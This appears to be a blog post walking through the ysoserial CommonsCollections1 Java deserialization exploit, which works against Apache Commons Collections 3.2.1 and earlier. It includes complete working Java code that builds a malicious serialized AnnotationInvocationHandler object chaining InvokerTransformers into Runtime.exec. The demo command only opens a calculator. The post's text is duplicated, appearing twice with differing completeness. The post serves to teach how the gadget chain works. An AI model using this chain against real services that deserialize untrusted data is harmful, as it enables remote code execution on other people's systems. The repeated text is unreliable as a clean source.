Last year, ysoserial was released by frohoff and gebl. It is a fantastic piece of work. The tool provides options to generate several different types of serialized objects, which when deserialized, can result in arbitrary code execution if the right classes are present in the classpath. In this blog post, I will discuss the CommonsCollections1 exploit, and its working, available in the ysoserial toolkit.
All code snippets used in this post are sourced from ysoserial
An Overview
The CommonsCollections1 exploit builds a custom AnnotationInvocationHandler object that contains an InvokerTransformer (Apache Commons Collections class) payload, and outputs the serialized object. When the serialized object is deserialized, the code path from AnnotationInvocationHandler's readObject leads to InvokerTransformer's payload, causing code execution.
The image below shows the custom AnnotationInvocationHandler object used for RCE.
Image 1: The serialized AnnotationInvocationHandler
What makes the exploit effective is that it only relies on the classes present in Java and Apache Commons Collections. The CommonsCollections1 leverages following classes from JDK and Commons Collections.
From JDK
From Commons Collections:
So, as long a Java software stack contains Apache commons Collections library (<= 3.2.1), it will be vulnerable to remote code execution attacks while deserializing untrusted objects.
Pre-requisites
It will be helpful to refer to the following Classes and concepts as we work our way to understanding the exploit.
Image 2: Shows InvokerTransformer
Payload Only Execution
Assuming you understand how Transformers, ChainedTransformers and LazyMaps work, we will look at CommonsCollection1's payload only execution using a ChainedTransformer. When you run the class below , it will open a calculator on a Mac.
public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"open -a calculator"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("gursev");
}
}
The image below shows the execution flow when the chainedTransformer in the code snippet above is executed while setting a value on the lazyMap. The number in braces correspond to the individual Transformer execution in the code snippet above.
Image 3: Shows chainedTransfomer invocation when a value is set on the LazyMap
Putting it all together
The code below performs both serialization and deserialization. It also executes the command to open a calculator during the deserialization process.
public static void main(String... args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
Object evilObject = getEvilObject();
byte[] serializedObject = serializeToByteArray(evilObject);
deserializeFromByteArray(serializedObject);
}
public static Object getEvilObject() throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException {
String[] command = {"open -a calculator"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Proxy evilProxy = (Proxy) Proxy.newProxyInstance(CommonsCollections1All.class.getClassLoader(), new Class[] {Map.class}, secondInvocationHandler );
InvocationHandler invocationHandlerToSerialize = (InvocationHandler) constructor.newInstance(Override.class, evilProxy);
return invocationHandlerToSerialize;
}
public static void deserializeAndDoNothing(byte[] byteArray) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArray));
ois.readObject();
}
public static byte[] serializeToByteArray(Object object) throws IOException {
ByteArrayOutputStream serializedObjectOutputContainer = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(serializedObjectOutputContainer);
objectOutputStream.writeObject(object);
return serializedObjectOutputContainer.toByteArray();
}
public static Object deserializeFromByteArray(byte[] serializedObject) throws IOException, ClassNotFoundException {
ByteArrayInputStream serializedObjectInputContainer = new ByteArrayInputStream(serializedObject);
ObjectInputStream objectInputStream = new ObjectInputStream(serializedObjectInputContainer);
InvocationHandler evilInvocationHandler = (InvocationHandler) objectInputStream.readObject();
return evilInvocationHandler;
}
}
The code path flow leading to code execution is discussed below and is also summarized in image 4.
Image 4: Shows the code path to RCE
The following three images show the actual code path traversed from AnnotationInvocationHandler class leading up to LazyMap's ChainedTransformer invocation, resulting in RCE.
Image 5: Shows AnnotationInvocationHandler's readObject() method that calls entrySet() on mapProxy
Image 6: Shows AnnotationInvocationHandler's invoke method that was attached to the mapProxy
Image 7: Shows transformer invocation when a key is not present
All code snippets used in this post are sourced from ysoserial
An Overview
The CommonsCollections1 exploit builds a custom AnnotationInvocationHandler object that contains an InvokerTransformer (Apache Commons Collections class) payload, and outputs the serialized object. When the serialized object is deserialized, the code path from AnnotationInvocationHandler's readObject leads to InvokerTransformer's payload, causing code execution.
The image below shows the custom AnnotationInvocationHandler object used for RCE.
Image 1: The serialized AnnotationInvocationHandler
What makes the exploit effective is that it only relies on the classes present in Java and Apache Commons Collections. The CommonsCollections1 leverages following classes from JDK and Commons Collections.
From JDK
- AnnotationInvocationHandler
- Proxy
- Map
- Override
- InvocationHandler
- Runtime
From Commons Collections:
- LazyMap
- Transformer
- ChainedTransformer
- InvokerTransformer
So, as long a Java software stack contains Apache commons Collections library (<= 3.2.1), it will be vulnerable to remote code execution attacks while deserializing untrusted objects.
Pre-requisites
It will be helpful to refer to the following Classes and concepts as we work our way to understanding the exploit.
- Java Serialization and Deserialization mechanisms
- ObjectInputStream - including readObject()
- Proxy
- InvocationHandler
- Transformer
- LazyMap
- ChainedTransformer
- InvokerTransformer - Instances of this class were used to perform code execution and we will discuss this in more details below.
- Name of the method
- parameter types the method accepts
- Parameters values
Image 2: Shows InvokerTransformer
Payload Only Execution
Assuming you understand how Transformers, ChainedTransformers and LazyMaps work, we will look at CommonsCollection1's payload only execution using a ChainedTransformer. When you run the class below , it will open a calculator on a Mac.
public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"open -a calculator"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("gursev");
}
}
The image below shows the execution flow when the chainedTransformer in the code snippet above is executed while setting a value on the lazyMap. The number in braces correspond to the individual Transformer execution in the code snippet above.
Image 3: Shows chainedTransfomer invocation when a value is set on the LazyMap
Putting it all together
The code below performs both serialization and deserialization. It also executes the command to open a calculator during the deserialization process.
- The getEvilObject creates a Java Object that can arbitrary code when deserialized. The object structure is provided in Image 1
- The serializeToByteArray method serializes the evilObject to a byte array
- The deserializeFromByteArray deserializes the object from the binary array. If Apache CommonsCollections library (<=3.2.1) is present in the classpath, the command also gets executed.
public static void main(String... args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
Object evilObject = getEvilObject();
byte[] serializedObject = serializeToByteArray(evilObject);
deserializeFromByteArray(serializedObject);
}
public static Object getEvilObject() throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException {
String[] command = {"open -a calculator"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Proxy evilProxy = (Proxy) Proxy.newProxyInstance(CommonsCollections1All.class.getClassLoader(), new Class[] {Map.class}, secondInvocationHandler );
InvocationHandler invocationHandlerToSerialize = (InvocationHandler) constructor.newInstance(Override.class, evilProxy);
return invocationHandlerToSerialize;
}
public static void deserializeAndDoNothing(byte[] byteArray) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArray));
ois.readObject();
}
public static byte[] serializeToByteArray(Object object) throws IOException {
ByteArrayOutputStream serializedObjectOutputContainer = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(serializedObjectOutputContainer);
objectOutputStream.writeObject(object);
return serializedObjectOutputContainer.toByteArray();
}
public static Object deserializeFromByteArray(byte[] serializedObject) throws IOException, ClassNotFoundException {
ByteArrayInputStream serializedObjectInputContainer = new ByteArrayInputStream(serializedObject);
ObjectInputStream objectInputStream = new ObjectInputStream(serializedObjectInputContainer);
InvocationHandler evilInvocationHandler = (InvocationHandler) objectInputStream.readObject();
return evilInvocationHandler;
}
}
The code path flow leading to code execution is discussed below and is also summarized in image 4.
- The ObjectInputStream calls the readObject() method
- On method invocation, the JVM looks for the serialized Object's class in the classpath. If the class is not found, ClassNotFoundException is thrown. If the class is found, readObject() method of the identified class (AnnotationInvocationHandler) is invoked. This process is followed for all types of objects that get serialized with the CommonsCollections1 payload.
- The readObject method inside the AnnotationInvocationHandler invokes entrySet method on the MapProxy.
- The method invocation on the Proxy is transferred to AnnotationInvoctionHandler corresponding to the MapProxy instance along with the method and a blank array.
- The lazyMap attempts to retrieve a value with key equal to the method name "entrySet".
- Since that key does not exist, the lazyMap instance goes ahead and tries to create a new key with the name "entrySet".
- Since a chainedTransformer is set to execute during the key creation process, the chained transformer with the malicious payload is invoked, leading to remote code execution.
Image 4: Shows the code path to RCE
The following three images show the actual code path traversed from AnnotationInvocationHandler class leading up to LazyMap's ChainedTransformer invocation, resulting in RCE.
Image 5: Shows AnnotationInvocationHandler's readObject() method that calls entrySet() on mapProxy
Image 6: Shows AnnotationInvocationHandler's invoke method that was attached to the mapProxy
Image 7: Shows transformer invocation when a key is not present